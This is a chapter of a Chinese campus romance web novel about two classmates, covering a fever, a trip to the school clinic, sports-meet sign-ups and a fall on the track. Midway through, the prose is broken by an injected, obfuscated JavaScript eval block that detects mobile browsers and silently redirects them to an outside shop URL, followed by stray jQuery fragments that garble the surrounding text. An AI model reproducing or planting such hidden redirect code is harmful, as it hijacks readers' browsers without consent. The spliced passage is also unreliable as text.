跌宕起伏的一周终于过去,两人约好周日的时候去图书馆自习。
那会儿学校里很流行玩Mp3,很多人都提前将小说音频,音乐或者英语听力文件导入里面,插上耳机线就可以听了。
那玩意儿也不贵,程三好也买了一个,长方形的,蓝色,很小巧,揣兜里很方便。
图书馆中央列着一排排书架,穿过书架,窗边有放着一些桌子和凳子,学生们可以在上面抄笔记或者自习。
程三好选了一个靠墙边的角落位置,她将借来的书搁在桌子上,跟在她身后的江砚也随之拉开他她旁边的凳子坐了下来。
图书馆很安静,二人皆是认真学习起来很专注的那种。
江砚先一步看完了书,从书中抬起目光。
发现外面不知何时已经天色灰暗下来,浓厚的暗蓝色笼罩在整个校园。
他抬起手臂,看了一眼黑色的电子手表,已经六点过了。
头顶的白炽灯倒映在黄色的桌面上,他扭头,见女生戴着白色的有线耳机还在看书。
大概过了两三秒,他开口:“不吃饭吗?”
见人动都没动一下,他提醒:“六点了,要回教室。”
女生依旧没理他。
江砚昨天淋了雨,回去后还是感冒了,到现在身体都还是隐隐有些不舒服。
他抬手摸上女生的耳朵,将她的耳机摘了下来,嗓音沙哑:“跟你说话,没听到?”
语气有些不悦,离女生很近。
程三好是真没听到,她疑惑地嗯了一声,扭过头:“抱歉,我刚刚真没听见,你说什么?”
“六点了,你不是要吃饭?”
程三好没问他怎么摸索出她吃饭的时间的,她听着江砚这有气无力的话,再看他的脸色,察觉出了不对:“你是不是发烧了?”
江砚眉头拧着,淡声:“没有。”
程三好小时候总生病,对这方面比较敏感,她神色担忧:“可能就是发烧了,你自己不知道。”
说着就要伸手去摸男生的额头,刚举到半空,突然顿住,手指蜷缩着要收回去。
手腕退到一半,蓦地被江砚握住。
“是吗?我不是很清楚,你摸摸。”
他的掌心很烫,拉着她贴上自己的额头时,程三好感受着那烫得惊人的皮肤,瞳孔微放大:“可以煎鸡蛋了都,先走,去医务室。”
说着就要起身,白色耳机线掉落坠在空中,蓝色的窗帘在风的吹拂下肆意飘动。
可能男生真的是烧糊涂了,他抓住女生的手一下按在了自己的怀里,声音很轻:“你陪我?”
程三好吞咽了一下口水,那只被江砚按着的手僵硬着根本不敢动,她说:“嗯,我陪你一起去。”
江砚这才放开女生的手,站起身,两人出了图书馆,坐电梯到达了一楼。
江砚却忽然变卦,说:“去吃饭,我自己一个人去就好。”
女生摇头:“我不饿,不是说好了陪你一起去吗?”
江砚撑着精神,清醒了一些:“现在不吃,待会儿晚自习你会饿,听话。”
他不再像平日里嘴巴跟碎了毒一样,总是捉弄程三好,此刻他这一番话算是很温柔了。
程三好却有点生气:“现在你生病了,当务之急,咱们应该去医务室对不对?走吧。”
说着率先转身往医务室的方向走,江砚无奈只能跟了上去。
医务室里只有医生一个人,听他说明了症状,就拿出一根温度计甩了甩,交给男生,让他测一□□温。
江砚接过来,撩起衣服下摆,准备将温度计塞在腋下。
程三好看着他露出来的一点肌肤,微微侧着身,离开视线。
五分钟过后,医生说:“可以了,拿出来给我。”
江砚就坐在白色的病床上,一只腿曲着,一只腿向前伸着。
他拿出温度计,给医生,听到对方过了一会儿说道:“三十九度五,高烧。”
程三好就站在床边,皱眉问:“那么严重,需要输液吗?”
医生说:“看个人需求吧,如果想要退烧快的话,肯定是输液,不急的话,吃药也可以。”
江砚眼皮低垂,说:“就吃药,麻烦您给我开些药。”
“行。”医生转过身开始配药。
拿到药出了医务室,程三好犹豫片刻,还是说出了口:“要不要晚自习你就回寝室休息,我给你请假。”
“不用。”
要不是江砚烧得嘴皮都有点干,外人还真看不出来他正在发烧。
程三好说:“行吧,你先回教室,我去食堂买点吃的。”
离七点上看新闻联播还有点时间,江砚没再说什么,抬腿往教学楼走了。
程三好去食堂买了一碗粥,自己随便拿了几个包子,边吃边跑回教室。
等回到座位,她的食物已经吃完了,将手中的粥递给同桌。
“你吃药了吗?”
“还没。”
“那正好,可算是让我赶上了,快先喝点粥,然后再吃药,这样不伤胃。”
江砚其实没什么胃口,但是见女生充满期待地看着他,只能拿起一次性勺子喝了几口才吃了药。
程三好将他桌子上的所有垃圾都收走,轻声说:“睡吧,看新闻联播这半个小时,我给你当门神打掩护,我今天将化身守护你的神。”
江砚也不知听没听到,真就双手搭着在桌子上趴下了。
三十分钟的新闻联播不知不觉就已结束,程三好探头看了一眼江砚的状态,不确定他有没有听到上课铃声,亦或者是真睡着了。
她在犹豫着要不要叫醒他,对方脑袋一动,直起了身。
—
翌日,天晴。
趁着课间休息的时间,班长拿着个本子走上讲台,说:“大家都安静一下,我来通知一件事。”
“嗯,没错,咱们运动会要到了,班主任让我把各个项目的参赛人员给确定了,还有,特别声明一点——”
“如果不报名参加的,剩下的所有女生要跳舞,作为到时候我们班的出场表演节目,而男生要负责搬运相关器械。”
他说完,教室内响起了一片哀嚎声。
“这不是逼迫嘛……”
“烦死了,本来学习的时间就不够,就不能什么都不参加吗。”
班长是一位男生,声音洪亮:“安静,安静,我知道你们心中不痛快,但我也是没有办法的,只是按照班主任的吩咐行事,所以待会儿有意愿的可以到我这里来报名。”
他说完下了讲台,没过几分钟上课铃声就敲响了。
大家就是再不爽,也只能硬生生憋着。
江砚身体素质好,昨晚吃了一副药后,烧不久就退了。
今天早上起来,基本上除了嗓子还有点沙哑,没有哪里不舒服的地方。
到了中午,他收拾书包正要起身,班长却找到他,与他说:“我看你没有报名任何一个项目,要不要参加男子三千米长跑?”
“不想。”
班长叹了一口气,他平时和江砚打篮球,也多算得上是朋友,他说:“男子三千米长跑只差一个人了,但我不管劝说谁,他们都不参加,我把自己也抵进去了,但还不够,就当是帮我的忙行吗?”
江砚没应声,余光里女生背着书包一直乖乖地站着一旁等他。
他轻皱了下眉,对着班长说:“把我名字写上去。”
说着转过身,对女生说:“走了。”
两人离开了教室,行过走廊,程三好与他闲聊:“我还以为你不会答应呢?”
“他人固执。”
程三好笑了一下:“看不出来啊,我还以为他是那一种暖男类型的,如果别人拒绝,他就不再纠缠的那一种。”
完了,她又补充一句:“不过真的蛮有责任心的。”
江砚眼里看不清情绪,见她眼角弯着,忽而问:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699606|130752||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“你很欣赏他?”
“嗯……也谈不上吧,就是突然有一些感慨,为了完成班主任交给他的任务,不得不低三下四地跟人说话……就是心里感觉怪怪的。”
说话的期间,二人已经到了食堂门口。
江砚掀开帘子,扭头看着人:“怎么,心疼?”
程三好不知道为什么话题就偏到这儿了,她饿得不行,脚下步伐没停:“我还是先心疼心疼自己吧。”
下午最后一节课是体育课,阴了多日的天气终于转晴。
大家围在操场上显然都很兴奋,体育老师站在最前面说道:“过了今天以后,所有的体育课上,跳舞的女生会跟舞蹈老师也就是教你们音乐课的那个女老师去舞蹈室练习舞蹈,参加运动会的人员会留在操场由我监督训练。”
“没跳舞又没参加运动会的,则可以回到教室自习,所以我想着,要不今天我就不上什么内容的,大家自由活动吧,想干什么就干什么,只要待在操场范围内就可以。”
大家乐见其成,欢呼声一片。
众人三五成群,勾肩搭背渐渐散开。
程三好站在原地,正想着要去观众席台下面坐着,就见江砚径直走到了她的跟前。
“你待会儿有事?”
“没有什么事。”
“那帮我计时?”
“可以。”
两人走到一边,江砚将校服外套脱了下来,程三好识相接过来,抱在怀里。
她站在跑道内的草坪上,而江砚站在塑胶跑道起点上。
程三好见他准备好,低头按下手表功能的计时键,同时说了一声:“开始!”
江砚便跑了出去,他腿长,手臂摆动的姿势也很标准。
跑的过程中,速度放得很均匀。
程三好全程目光跟着他转,他跑到哪儿,她的眼睛就跟到哪儿。
当他经过终点时,一下按停了计时。
她见对方出了汗,担心他刚感冒不久又复发,想要将自己手中他的衣服给他穿上,就小跑了几步。
江砚显然也看见了她,离开跑道走向草坪。
程三好对上他的视线,边走近边有些激动地说:“十四分三十八秒,这个成绩……啊。”
鞋带不知何时已经散开,脚突然踩中,她惊呼一声,一下朝男生摔去。
两人齐齐摔倒在草坪上。
本来江砚应该是能稳住身体的,但他刚才出去一脚,重心还没稳住,女孩子整个人就砸向了他,以至于二人双双往后倒。
期间他一只手下意识撑了一下地面,另一只手护着人的后脑勺。
好在草坪很软,这才没出什么大事。
程三好几乎是双腿分开跪坐在他的身上,她手蹭在地面出了血,但顾不上自己,急忙有些担忧地问身下的人。
“江砚,没事吧?”
男生平躺着,闭着眼睛没有说话。
程三好哭丧着脸:“你可别吓我啊,你成绩那么好,生得那么俊,眼尾一扫,似乎有锋芒掠过,让人胆战心惊,邪魅一笑,狂娟霸道,迷倒万千少女……”
“这简直就是男人中的男人,极品中的极品,你的存在就是为了造福子民,是女娲的巅峰之作,你不是人,你是神……你要是没了,让我怎么办啊……”
她的啊字还在口中没说完,□□贴着的肌肉突然抽动了一下。
刚才闭着眼睛的男生忽而挺身轻抬下颌笑着偏过头,嘴角上扬,狭长的眼眸坠着星芒。
腹部肌肉抽动的一瞬间,程三好被迫带着也动了一下。
她的这个角度,完全将男生所有微小的表情都尽收眼底。
男生脖颈修长,喉结明显。
他是边笑边微离了下地面,头往一侧偏过去。
勾唇笑着,没露齿,桃花眼似乎沾染上了醉意,又细又长地看她一眼。
他们姿势很糟糕,程三好在男生那个瑟气满满,蛊人十足的行为里红了脸。